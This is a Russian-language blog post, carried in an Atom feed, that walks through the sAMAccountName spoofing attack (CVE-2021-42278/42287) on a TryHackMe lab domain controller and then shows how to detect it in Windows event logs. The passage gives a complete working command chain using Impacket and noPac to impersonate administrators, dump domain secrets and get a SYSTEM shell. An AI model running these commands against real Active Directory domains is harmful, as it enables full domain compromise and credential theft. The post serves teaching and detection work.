<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>@cherepawwka</title><author><name>@cherepawwka</name></author><id>https://teletype.in/atom/cherepawwka</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/cherepawwka?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@cherepawwka?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=cherepawwka"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/cherepawwka?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-06-27T09:27:10.671Z</updated><entry><id>cherepawwka:sAMAccountName_spoofing</id><link rel="alternate" type="text/html" href="https://teletype.in/@cherepawwka/sAMAccountName_spoofing?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=cherepawwka"></link><title>Кто обзывается — тот SAM так называется</title><published>2024-11-30T01:51:20.501Z</published><updated>2024-11-30T01:51:20.501Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/7b/57/7b5712e7-2800-44b3-8f95-c3168b13be4e.png"></media:thumbnail><category term="cyber-security" label="CyberSecurity"></category><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/a8/c2/a8c29d99-7c2f-4097-91f9-fe65b81cd4e8.jpeg&quot;&gt;SAMAccountName spoofing — знакомство с CVE-2021-42278 и CVE-2021-42287</summary><content type="html">
  &lt;p id=&quot;yAP9&quot;&gt;Всем привет!&lt;/p&gt;
  &lt;p id=&quot;ANvs&quot;&gt;Не так давно на одном из проектов мне довелось встретиться лицом к лицу с небезызвестной уязвимостью, которая привлекла моё внимание. Хоть уязвимость давно изучена и на неё есть грамотные детекты, ни одно из правил корреляции не отработало, и среди тысяч событий на контроллере домена пришлось искать те, которые прямо или косвенно могут свидетельствовать о её эксплуатации. Почему так? Просто не на всех хостах бывает грамотно настроен аудит, который просто необходим для работы правил корреляции. Так было и в этом случае.&lt;/p&gt;
  &lt;p id=&quot;KGH4&quot;&gt;Сегодня мы об этой уязвимости (а, точнее, о паре уязвимостей), которые могут помочь вам повысить привилегии с обычного пользователя до доменного администратора за несколько простых шагов.&lt;br /&gt;Имя этому — &lt;strong&gt;sAMAccountName spoofing&lt;/strong&gt;!&lt;/p&gt;
  &lt;p id=&quot;foTY&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;Lh2n&quot;&gt;Теория&lt;/h2&gt;
  &lt;p id=&quot;VqaR&quot;&gt;В ноябре 2021 года внимание многих исследователей привлекли две уязвимости, поскольку их комбинация позволяет злоумышленнику повысить свои права до администратора домена, если в распоряжении атакующего есть скомпрометированная УЗ пользователя в домене.&lt;/p&gt;
  &lt;p id=&quot;jCrI&quot;&gt;Суть уязвимости &lt;strong&gt;CVE-2021-42278&lt;/strong&gt; (&lt;strong&gt;sAMAccountName spoofing&lt;/strong&gt;) состоит в том, что по умолчанию пользователь может добавлять компьютеры в домен (до 10 узлов), а также изменять атрибут sAMAccountName добавленных компьютеров (а точнее их доменных учетных записей). Чтобы узнать, у кого есть права на добавление компьютеров в домен, необходимо проверить в групповых политиках настройку SeMachineAccountPrivilege в разделе Default Domain Controller Policy (&lt;code&gt;Computer Configuration\Windows Settings\Security Settings\User Rights Assignment\&lt;/code&gt;). Данная уязвимость используется не сама по себе, а для эксплуатации уязвимости &lt;strong&gt;CVE-2021-42287&lt;/strong&gt;, которая позволяет выдать скомпрометированный узел за контроллер домена.&lt;br /&gt;Давайте поговорим об уязвимостях поподробнее.&lt;br /&gt;&lt;/p&gt;
  &lt;h3 id=&quot;NfOk&quot;&gt;1. CVE-2021-42278 — name impersonation&lt;/h3&gt;
  &lt;p id=&quot;pYD4&quot;&gt;Как известно, учетные записи компьютеров должны иметь символ &lt;code&gt;$&lt;/code&gt; в своем имени (имеется в виду атрибут &lt;code&gt;sAMAccountName&lt;/code&gt;), но ранее не существовало процесса проверки, чтобы убедиться в этом.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(236, 74%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;1GSm&quot;&gt;&lt;strong&gt;Немного о sAMAccountName&lt;/strong&gt;&lt;br /&gt;sAMAccountName — имя учетной записи SAM, предназначенное для совместимости со старыми операционными системами (до Windows 2000). Впрочем это не означает, что sAMAccountName не используется в качестве имени для входа в современных системах Windows. Значение атрибута sAMAccountName для УЗ должно быть уникальным в рамках домена, имеет ограничение в 20 символов и работает в сочетании с NETBIOS именем домена, например &lt;strong&gt;LAB\ivanov_ii&lt;/strong&gt;. sAMAccountName является &lt;strong&gt;обязательным &lt;/strong&gt;атрибутом пользователя.&lt;/p&gt;
  &lt;/section&gt;
  &lt;h3 id=&quot;OKtE&quot;&gt;2. CVE-2021-42287 — обман KDC&lt;/h3&gt;
  &lt;p id=&quot;1M9J&quot;&gt;При запросе сервисного билета (ST, TGS) принципалу сначала требуется предоставить TGT. Если запрашиваемый в рамках билета сервис не найден KDC, KDC автоматически выполняет повторный поиск, добавляя символ &lt;code&gt;$&lt;/code&gt; в конце имени. Иными словами, когда клиент запрашивает ST, контроллер сперва смотрит в предоставленный клиентом TGT. В случае, если KDC не обнаруживает среди объектов домена объекта с именем, указанным в TGT, контроллер добавляет символ &lt;code&gt;$&lt;/code&gt; к этому имени и шифрует отправляемый TGS с использованием ключа объекта &amp;quot;&lt;code&gt;name$&lt;/code&gt;&amp;quot;.&lt;/p&gt;
  &lt;p id=&quot;71DK&quot;&gt;Так, уязвимость CVE-2021-42287 заключается в том, что при выполнении проверки подлинности Kerberos в случае, если TGS был запрошен для учетной записи, которую не удалось найти, KDC добавит к ней в конце &lt;code&gt;$&lt;/code&gt; и попытается найти ее снова.&lt;br /&gt;Представим ситуацию, когда скомпрометированный узел запросит ST с предоставлением TGT, полученного для учетной записи, &lt;strong&gt;названной так же, как и контроллер домена&lt;/strong&gt;, а затем (перед запросом ST) переименованной, то ему будет выдан ST с правами контроллера домена, так как KDC не удастся сразу найти такую учетную запись, вместо этого он обнаружит УЗ с &lt;code&gt;$&lt;/code&gt; на конце, которая и будет являться sAMAccountName контроллера домена.&lt;/p&gt;
  &lt;p id=&quot;IFhw&quot;&gt;Звучит сложно и непонятно? Не переживайте, сейчас разберемся.&lt;/p&gt;
  &lt;p id=&quot;0P9W&quot;&gt;В рамках атаки используется расширение Kerberos S4U2self. Расширение Kerberos S4U2self позволяет службе запрашивать билет от имени пользователя для себя, который затем можно использовать в S4U2proxy. Это сделано для того, чтобы разрешить делегирование Kerberos для тех клиентов, которые не поддерживают протокол Kerberos.&lt;/p&gt;
  &lt;p id=&quot;1Ks5&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;9xjJ&quot;&gt;Эксплуатация&lt;/h2&gt;
  &lt;p id=&quot;S8CI&quot;&gt;&lt;strong&gt;Возможность редактирования атрибутов&lt;/strong&gt; &lt;code&gt;sAMAccountName&lt;/code&gt; и &lt;code&gt;servicePrincipalName&lt;/code&gt; учетной записи компьютера для осуществления атаки &lt;strong&gt;является обязательным требованием&lt;/strong&gt;.&lt;br /&gt;Самый простой способ выполнить это требование — создать учетную запись компьютера (например, используя атрибут &lt;a href=&quot;https://www.thehacker.recipes/a-d/movement/domain-settings/machineaccountquota&quot; target=&quot;_blank&quot;&gt;MachineAccountQuota&lt;/a&gt; в случае, если он больше 0). Создатель новой учетной записи компьютера имеет достаточно привилегий для редактирования ее атрибутов. Если же MAQ равен нулю, альтернативный способ эксплуатации — получение контроля над владельцем/создателем учетной записи компьютера в рамках, например, горизонтального перемещения.&lt;br /&gt;Для того чтобы определить, есть ли у этой УЗ права на добавление компьютеров в домен, воспользуемся инструментом windapsearch. Команда:&lt;/p&gt;
  &lt;pre id=&quot;lgRw&quot; data-lang=&quot;bash&quot;&gt;python3 windapsearch.py --dc [IP-адрес контроллера домена] -u [полное имя пользователя в домене] -p [пароль] --custom &amp;#x27;(&amp;amp;(objectClass=domain)(distinguishedName= [distinguishedName домена]))&amp;#x27; --attrs ms-ds-machineAccountQuota&lt;/pre&gt;
  &lt;figure id=&quot;SdiG&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/14/ae/14ae9fb8-7134-4173-b11a-388a0863a7fe.png&quot; width=&quot;783&quot; /&gt;
    &lt;figcaption&gt;MAQ по умолчанию в домене&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;zjif&quot;&gt;Атаку можно осуществить следующим образом:&lt;/p&gt;
  &lt;ol id=&quot;4InP&quot;&gt;
    &lt;li id=&quot;gZYe&quot;&gt;1. Очистить атрибут &lt;code&gt;servicePrincipalName&lt;/code&gt; учетной записи контролируемой машины от любого значения, указывающего на ее имя (например &lt;code&gt;host/machine.domain.local&lt;/code&gt;, &lt;code&gt;RestrictedKrbHost/machine.domain.local&lt;/code&gt;);&lt;/li&gt;
    &lt;li id=&quot;ioNZ&quot;&gt;Изменить атрибут &lt;code&gt;sAMAccountName&lt;/code&gt; учетной записи контролируемой машины на имя контроллера домена без завершающего символа &lt;code&gt;$&lt;/code&gt;, что возможно благодаря CVE-2021-42278;&lt;/li&gt;
    &lt;li id=&quot;EAWG&quot;&gt;Запросить TGT для УЗ контролируемой машины;&lt;/li&gt;
    &lt;li id=&quot;YjOQ&quot;&gt;Изменить &lt;code&gt;sAMAccountName&lt;/code&gt; учетной записи контролируемой машины до ее первоначального значения (или любого другого, отличного от имени контроллера домена без конечного &lt;code&gt;$&lt;/code&gt;);&lt;/li&gt;
    &lt;li id=&quot;ME1l&quot;&gt;Запросить S4U2self ST, предъявив полученный ранее TGT, где вступает в бой CVE-2021-42287;&lt;/li&gt;
    &lt;li id=&quot;BON5&quot;&gt;Получить доступ к контроллеру домена (например, DCSync или шелл).&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;gbvF&quot;&gt;В рамках подготовки материала я развернул уязвимую лабораторию, состоящую из одного контроллера домена и атакующей машины с Kali, однако, чтобы у каждого из вас была возможность при желании повторить эту атаку, я переписал материал под уязвимую машину Enterprise с TryHackMe. Эксплуатация этой уязвимости — незапланированный вектор решения этой комнаты, и мы рассматриваем его только в обучающих целях.&lt;/p&gt;
  &lt;p id=&quot;3cUk&quot;&gt;Полный перечень команд, которыми осуществлялась успешная эксплуатация, приведу сразу ниже:&lt;/p&gt;
  &lt;pre id=&quot;jUTh&quot; data-lang=&quot;bash&quot;&gt;# Создаём УЗ компьютера при помощи Impacket
impacket-addcomputer -computer-name &amp;#x27;mypc$&amp;#x27; -computer-pass &amp;#x27;P@ssw0rd&amp;#x27; -dc-host LAB-DC -domain-netbios LAB &amp;#x27;LAB.ENTERPRISE.THM/nik:ToastyBoi!&amp;#x27;

# Переименовывем УЗ компьютера, выбираем имя контроллера домена без $
./renameMachine.py -current-name &amp;#x27;mypc$&amp;#x27; -new-name &amp;#x27;LAB-DC&amp;#x27; -dc-ip &amp;#x27;LAB-DC.LAB.ENTERPRISE.THM&amp;#x27; &amp;#x27;LAB.ENTERPRISE.THM&amp;#x27;/&amp;#x27;nik&amp;#x27;:&amp;#x27;ToastyBoi!&amp;#x27;

# Запрашиваем TGT для нашего ПК lab-dc
impacket-getTGT -dc-ip &amp;#x27;LAB-DC.LAB.ENTERPRISE.THM&amp;#x27; &amp;#x27;LAB.ENTERPRISE.THM&amp;#x27;/&amp;#x27;LAB-DC&amp;#x27;:&amp;#x27;P@ssw0rd&amp;#x27;

# Сбрасываем имя УЗ компьютера на первоначальное (или любое)
./renameMachine.py -current-name &amp;#x27;LAB-DC&amp;#x27; -new-name &amp;#x27;mypc$&amp;#x27; -dc-ip &amp;#x27;LAB-DC.LAB.ENTERPRISE.THM&amp;#x27; &amp;#x27;LAB.ENTERPRISE.THM&amp;#x27;/&amp;#x27;nik&amp;#x27;:&amp;#x27;ToastyBoi!&amp;#x27;

# Получаем ST с S4U2self, предоставляя полученный на 3 шаге TGT:
KRB5CCNAME=&amp;#x27;LAB-DC.ccache&amp;#x27; python3 getST.py -self -impersonate &amp;#x27;banana&amp;#x27; -altservice &amp;#x27;cifs/LAB-DC.LAB.ENTERPRISE.THM&amp;#x27; -k -no-pass -dc-ip &amp;#x27;LAB-DC.LAB.ENTERPRISE.THM&amp;#x27; &amp;#x27;LAB.ENTERPRISE.THM&amp;#x27;/&amp;#x27;LAB-DC&amp;#x27;

# pwned?
KRB5CCNAME=&amp;#x27;banana@cifs_LAB-DC.LAB.ENTERPRISE.THM@LAB.ENTERPRISE.THM.ccache&amp;#x27; impacket-secretsdump -k -no-pass LAB-DC.LAB.ENTERPRISE.THM -dc-ip LAB-DC.LAB.ENTERPRISE.THM
&lt;/pre&gt;
  &lt;p id=&quot;r8ML&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;LnYm&quot;&gt;Демонстрация атаки&lt;/h3&gt;
  &lt;p id=&quot;84cE&quot;&gt;Пусть у нас есть уязвимый контроллер домена:&lt;/p&gt;
  &lt;figure id=&quot;DF19&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c0/f2/c0f2e749-d2ed-462f-af20-4a5175dab273.png&quot; width=&quot;765&quot; /&gt;
    &lt;figcaption&gt;Результат сканирования цели nmap&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;xoEY&quot;&gt;Набор портов говорит о том, что это DC (иначе откуда там LDAP, Kerberos, DNS и т.п.). Поскольку мы будем абъюзить Kerberos, добавляем запись в hosts:&lt;br /&gt;&lt;code&gt;10.10.89.250 LAB-ENTERPRISE LAB-DC.LAB.ENTERPRISE.THM LAB-DC&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;jK5w&quot;&gt;На текущем этапе мы уже взяли первого пользователя (например, отравили WPAD и нашли жертву, которая ввела пароль в Basic Auth), и нам известны его креды: &lt;code&gt;LAB.ENTERPRISE.THM/nik:ToastyBoi!&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;ZFoh&quot;&gt;Проверим, что пользователь валидный, а заодно перечислим всех пользователей в домене. Для этого я буду использовать CrackMapExec:&lt;/p&gt;
  &lt;figure id=&quot;Yd29&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1a/3a/1a3a4054-6c96-40f4-8e96-7b9f74022625.png&quot; width=&quot;1017&quot; /&gt;
    &lt;figcaption&gt;CME с нашим пользвателем&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ypv6&quot;&gt;Мы мало что понимаем об их сущности, так что давайте осуществим перечисление домена при помощи LDAP (эту активность, как синей команде, нам помогает найти событие 1644 на контроллере домена):&lt;/p&gt;
  &lt;pre id=&quot;hq7q&quot; data-lang=&quot;bash&quot;&gt;ldapdomaindump -u &amp;#x27;LAB.ENTERPRISE.THM\nik&amp;#x27; -p &amp;#x27;ToastyBoi!&amp;#x27; -d LAB.ENTERPRISE.THM LAB-DC.LAB.ENTERPRISE.THM&lt;/pre&gt;
  &lt;figure id=&quot;KHqW&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/50/68/50685f97-3b6b-4f92-a9b0-a74f544a1c29.png&quot; width=&quot;1594&quot; /&gt;
    &lt;figcaption&gt;Результат LdapdomainDump&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;BuS4&quot;&gt;ldapdomaindump даёт очень красивый результат, и мы можем подробнее познакомиться с нашими пользователями.&lt;/p&gt;
  &lt;p id=&quot;ztke&quot;&gt;Мне приглянулся юзер banana, и у него есть определенные привилегии относительно DC. Почему banana? Да я просто чилловый парень и люблю бананы:&lt;/p&gt;
  &lt;figure id=&quot;pD3S&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/08/28/08283974-a977-4e2c-9959-d4aff9f9058b.png&quot; width=&quot;443&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;0Mcu&quot;&gt;Нам нужно будет олицетворить этого пользователя, не зная его пароль и вообще ничего о нем. Получится? Давайте посмотрим!&lt;/p&gt;
  &lt;p id=&quot;BhZj&quot;&gt;Добавим объект компьютера в домен с определённым логином и паролем. Они могут быть любыми, но для красоты и простоты не будем усложнять:&lt;/p&gt;
  &lt;figure id=&quot;0DVj&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f5/9b/f59b6b6e-d083-47b3-b8a5-67a159820d14.png&quot; width=&quot;1076&quot; /&gt;
    &lt;figcaption&gt;Добавление УЗ компьютера и её переименование&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;y3Hm&quot;&gt;Тут же при помощи скрипта renameMachine изменяем ему имя на имя, соответствующее контроллеру домена: LAB-DC.LAB.ENTERPRISE.THM.&lt;br /&gt;Недостающий скрипт качаем &lt;a href=&quot;https://github.com/ShutdownRepo/impacket/tree/CVE-2021-42278/examples&quot; target=&quot;_blank&quot;&gt;отсюда&lt;/a&gt;.&lt;/p&gt;
  &lt;p id=&quot;R5Tf&quot;&gt;Далее запрашиваем TGT для заведённой нами УЗ компьютера. Благо, сделать это нетрудно, так как мы знаем пароль:&lt;/p&gt;
  &lt;figure id=&quot;kna4&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f3/95/f395db8a-41b3-4e66-ad15-8ef28e907b80.png&quot; width=&quot;1075&quot; /&gt;
    &lt;figcaption&gt;Запрос TGT и переименование УЗ нашего компьютера&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;SvYb&quot;&gt;После получения TGT меняем имя компьютера, чтобы при запросе сервисного билета SAM lab-dc найден не был, и повторный поиск был осуществлён для &lt;code&gt;lab-dc$&lt;/code&gt; (а это УЗ контроллера домена).&lt;/p&gt;
  &lt;p id=&quot;GKNF&quot;&gt;Используя TGT, запрашиваем TGS при помощи скрипта getST.py. На этом этапе может возникнуть проблема (Impacket может не знать свитч &lt;code&gt;-self&lt;/code&gt;, поэтому используем скрипт, где эта опция точно есть). Скачать его можно &lt;a href=&quot;https://github.com/fortra/impacket/pull/1202/files%5C&quot; target=&quot;_blank&quot;&gt;здесь.&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;8J7E&quot;&gt;Если нет понимания, куда тыкать, забираем напрямую при помощи wget: &lt;/p&gt;
  &lt;pre id=&quot;HLhH&quot; data-lang=&quot;bash&quot;&gt;wget https://github.com/ShutdownRepo/impacket/blob/2fc02e655bd799465fa62d235905263b00cf2db3/examples/getST.py&lt;/pre&gt;
  &lt;figure id=&quot;JuVv&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ac/3c/ac3c56c3-d6e9-4f24-a289-e90c92c47fe8.png&quot; width=&quot;1093&quot; /&gt;
    &lt;figcaption&gt;Запрос билета и имперсонификация пользователя banana&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;MOHJ&quot;&gt;Сразу же после запроса сервисного билета осуществляем DCSync:&lt;/p&gt;
  &lt;figure id=&quot;89aD&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/fc/b9/fcb9630b-a9de-49fc-89fb-0b82ff84be71.png&quot; width=&quot;1090&quot; /&gt;
    &lt;figcaption&gt;DCSync!&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;FByo&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;O41i&quot;&gt;Автоматизация действий&lt;/h2&gt;
  &lt;p id=&quot;IK6I&quot;&gt;До сих пор кажется, что, как будто бы, каждый раз проделывать такой трюк довольно сложно. Тем более пытаться разобраться в работе скриптов, которые нужно скачивать с гитхаба.&lt;br /&gt;На помощь приходит скрипт noPac, который проделывает все эти шаги за вас!&lt;br /&gt;Синтаксис у него очень похож на синтаксис Impacket:&lt;/p&gt;
  &lt;pre id=&quot;xz5r&quot; data-lang=&quot;bash&quot;&gt;python3 /opt/noPac/noPac.py LAB.ENTERPRISE.THM/nik:&amp;#x27;ToastyBoi!&amp;#x27; -dc-ip 10.10.89.250 -dc-host LAB-DC -shell --impersonate administrator -use-ldap&lt;/pre&gt;
  &lt;p id=&quot;AU2y&quot;&gt;В результате мы можем получить тикет от имени любой УЗ в домене на право доступа к контроллеру домена. Да, и билет мы можем получить, не зная об учетной записи ничего кроме её имени. В идеале нас интересует УЗ администратора домена.&lt;br /&gt;Давайте проделаем атаку и имперсонируем себя непривилегированным пользователем:&lt;/p&gt;
  &lt;figure id=&quot;tEh7&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bf/f9/bff9b867-724e-4470-abdd-85d52de6dc84.png&quot; width=&quot;1092&quot; /&gt;
    &lt;figcaption&gt;Ошибка доступа...&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;4kRI&quot;&gt;Действительно, атака была неудачная.&lt;/p&gt;
  &lt;p id=&quot;lbKW&quot;&gt;Но стоит нам взять администратора:&lt;/p&gt;
  &lt;figure id=&quot;05pd&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a6/cd/a6cde936-ba3d-470b-9cbb-96c6465906aa.png&quot; width=&quot;1090&quot; /&gt;
    &lt;figcaption&gt;Запуск Whoami от системы на DC!&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;6Mz6&quot;&gt;И мы получаем шелл от имени SYSTEM на узле контроллера домена, что открывает дальнейший простор для атаки, по сути означая компрометацию всего домена!&lt;/p&gt;
  &lt;p id=&quot;ypef&quot;&gt;Если присмотреться, то этапность атаки та же самая, только в начале есть ещё одна проверка — проверка MAQ, о которой я говорил в самом начале.&lt;/p&gt;
  &lt;p id=&quot;oZgw&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;roBL&quot;&gt;Обнаружение&lt;/h2&gt;
  &lt;p id=&quot;z6BP&quot;&gt;Для демонстрации атаки в журналах Windows на уже скомпрометированной машине я завёл логирование и очистил логи. После успешной эксплуатации вытащил журнал, и всё для того, чтобы показать результаты вам!&lt;br /&gt;Давайте поэтапно пройдемся по всем шагам атаки.&lt;/p&gt;
  &lt;p id=&quot;UO9o&quot;&gt;Анализ атаки стоит начинать с поиска успешных входов. В данном случае мы получаем информацию о скомпрометированной УЗ и адресе источника атаки.&lt;/p&gt;
  &lt;h3 id=&quot;OdxP&quot;&gt;4624 — событие успешного входа&lt;/h3&gt;
  &lt;figure id=&quot;rsNo&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ee/ed/eeedeb26-64bd-4313-aca5-4df6403fd288.png&quot; width=&quot;835&quot; /&gt;
    &lt;figcaption&gt;Событие 4624&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;wW9f&quot;&gt;Входов будет несколько, и первый их них связан с получением атрибута MAQ.&lt;br /&gt;Нас же интересует второй вход:&lt;/p&gt;
  &lt;figure id=&quot;0SMC&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/55/bd/55bd1f8e-2ecb-4ce9-8735-84cce50cc06b.png&quot; width=&quot;513&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;7zB2&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;Lvt0&quot;&gt;4741 — событие создание УЗ компьютера&lt;/h3&gt;
  &lt;figure id=&quot;SeMY&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0f/cd/0fcd9a8a-8765-4723-8ff9-31c5af211cfe.png&quot; width=&quot;680&quot; /&gt;
    &lt;figcaption&gt;Событие 4741&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;UTyJ&quot;&gt;Здесь мы обращаем внимание на имя создаваемого ПК, его ID, атрибут SAM Account Name, а также пользователя и ID сессии. Это помогает нам скоррелировать это событие с событием успешного входа, где виден IP-адрес источника атаки.&lt;br /&gt;Рядом будет событие 4724 о сбросе пароля от УЗ компьютера — 4724, но оно нам не очень интересно (хотя видно, что это один из этапов атаки).&lt;/p&gt;
  &lt;figure id=&quot;7djC&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8f/bd/8fbd4f07-bff0-4b9d-865b-9bc57eeefcee.png&quot; width=&quot;650&quot; /&gt;
    &lt;figcaption&gt;Событие 4724&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;bLmD&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;7gIB&quot;&gt;4742 — изменение УЗ компьютера, 4781 — изменение имени УЗ&lt;/h3&gt;
  &lt;p id=&quot;4v5r&quot;&gt;После добавления компьютера, очистки атрибутов его УЗ и изменения пароля, мы должны увидеть событие изменения имени учетной записи. Новое имя учетной записи SAM должно совпадать с именем DC (в нашем случае LAB-DC). В этом нам поможет событие 4742:&lt;/p&gt;
  &lt;figure id=&quot;fkPH&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1d/fa/1dfa5fcf-af7c-4006-bcbe-d5c28c75b786.png&quot; width=&quot;593&quot; /&gt;
    &lt;figcaption&gt;Событие 4742&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;7NBH&quot;&gt;Здесь мы обращаем внимание на SID изменяемой учетной записи, пользователя, ID-сессии и новое имя.&lt;br /&gt;Помимо события 4742 поможет событие об изменении имени УЗ — 4781.&lt;/p&gt;
  &lt;figure id=&quot;K9to&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e2/1e/e21e6bb1-8462-4282-b9cd-6c9ddc264cf3.png&quot; width=&quot;591&quot; /&gt;
    &lt;figcaption&gt;Событие 4781&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;GY6l&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;APQp&quot;&gt;4768 — запрос TGT&lt;/h3&gt;
  &lt;p id=&quot;DzoZ&quot;&gt;После переименования УЗ подконтрольного компьютера для неё должен быть запрошен TGT. Это нам покажет событие 4768:&lt;/p&gt;
  &lt;figure id=&quot;QV9X&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/79/f4/79f48049-d9a6-43b9-a7b7-0fc6a1729e84.png&quot; width=&quot;670&quot; /&gt;
    &lt;figcaption&gt;Событие 4768&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;zfAu&quot;&gt;Что нам интересно здесь:&lt;/p&gt;
  &lt;ol id=&quot;r8yC&quot;&gt;
    &lt;li id=&quot;Zvl9&quot;&gt;Имя УЗ, для которой запрашивается билет (совпадает с именем DC, но без &lt;code&gt;$&lt;/code&gt;);&lt;/li&gt;
    &lt;li id=&quot;Vtsc&quot;&gt;Источник;&lt;/li&gt;
    &lt;li id=&quot;t5oN&quot;&gt;SID УЗ (это SID созданного компьютера);&lt;/li&gt;
    &lt;li id=&quot;kjim&quot;&gt;Тип шифрования билета (он отличается от привычного для Impacket 0x17).&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;VAXv&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;pHdA&quot;&gt;4742 — изменение УЗ компьютера, 4781 — изменение имени УЗ&lt;/h3&gt;
  &lt;p id=&quot;OTby&quot;&gt;После успешного запроса TGT УЗ компьютера должна быть снова переименована, и обнаружить это помогают события 4742 и 4781, уже известные нам:&lt;/p&gt;
  &lt;figure id=&quot;fXGA&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/57/1c/571cf598-bc0e-41da-8a2c-606be63d09cc.png&quot; width=&quot;674&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;WSU5&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f6/bd/f6bd55d4-3615-41d7-b76c-7f11ccab4c45.png&quot; width=&quot;604&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;N022&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;Fxl4&quot;&gt;4769 — запрос TGS&lt;/h3&gt;
  &lt;p id=&quot;PbvO&quot;&gt;Следующим этапом идёт запрос TGS с использованием ранее выданного TGT. Здесь на помощь приходит событие 4769:&lt;/p&gt;
  &lt;figure id=&quot;qdu0&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1f/c7/1fc79728-d1ce-4687-a379-ccccd3858173.png&quot; width=&quot;677&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;wDfN&quot;&gt;Здесь стоит обратить внимание на имя учетной записи, а также на источник, с которого идёт запрос. Это помогает нам скоррелировать указанное событие с ранее наблюдаемыми.&lt;/p&gt;
  &lt;p id=&quot;0Ftp&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;LCa7&quot;&gt;4624 — событие успешного входа, 4672 — привилегированный вход&lt;/h3&gt;
  &lt;p id=&quot;eLBV&quot;&gt;В рамках атаки я старался получить TGS для другой учетной записи — banana. К сожалению, эта информация не отображена в событии запроса TGS, но сразу же после запроса билета мы наблюдаем событие успешной аутентификации по протоколу Kerberos, а также назначенные привилегии (благодаря аудиту события 4672):&lt;/p&gt;
  &lt;figure id=&quot;tthl&quot; class=&quot;m_original&quot;&gt;
